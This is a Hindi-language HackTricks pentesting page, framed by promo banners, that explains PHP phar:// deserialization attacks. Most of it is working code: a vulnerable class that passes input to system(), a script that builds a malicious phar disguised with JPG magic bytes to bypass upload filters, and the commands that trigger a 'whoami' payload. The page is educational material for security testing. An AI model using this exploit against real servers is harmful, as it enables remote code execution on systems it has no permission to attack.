phar:// deserialization

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

बग बाउंटी टिप: Intigriti के लिए साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाया गया है! आज हमारे साथ जुड़ें https://go.intigriti.com/hacktricks और आरंभ करें बाउंटी अप टू $100,000 तक कमाना!

Phar फ़ाइलें (PHP आर्काइव) में सीरीयलाइज़ फॉर्मेट में मेटा डेटा होता है, इसलिए, जब इस मेटाडेटा को पार्स किया जाता है, तो आप एक डिसीरियलाइज़ेशन वंलरेबिलिटी का दुरुपयोग करने की कोशिश कर सकते हैं PHP कोड के अंदर।

इस विशेषता के बारे में सबसे अच्छी बात यह है कि यह डिसीरियलाइज़ेशन भी होगा जब भी PHP फ़ंक्शन का उपयोग किया जाए जो PHP कोड को इवैल नहीं करते हैं जैसे file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()

तो, एक स्थिति की कल्पना करें जहाँ आप एक PHP वेबसाइट को phar:// प्रोटोकॉल का उपयोग करके किसी भी फ़ाइल का आकार प्राप्त करने के लिए कर सकते हैं, और कोड के अंदर आपको निम्नलिखित एक क्लास मिलता है:

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

आप एक phar फ़ाइल बना सकते हैं जो जब लोड की जाएगी तो इस क्लास का दुरुपयोग करेगी और विविध कमांड्स को निषेधित करेगी कुछ इस प्रकार:

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

नोट करें कि JPG के जादू के बाइट्स (\xff\xd8\xff) को फार फ़ाइल के शुरुआत में जोड़ा गया है ताकि संभावित फ़ाइल अपलोड प्रतिबंधों को बायपास किया जा सके। test.phar फ़ाइल को कंपाइल करें:

php --define phar.readonly=0 create_phar.php

और विकल्प को दुरुपयोग करके whoami कमांड को निषेधित कोड के माध्यम से क्रियान्वित करें:

php vuln.php

संदर्भ

बग बाउंटी टिप: Intigriti में साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाया गया है! हमारे साथ जुड़ें https://go.intigriti.com/hacktricks आज ही, और शुरू करें बाउंटी अप तक $100,000 तक कमाने की!

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated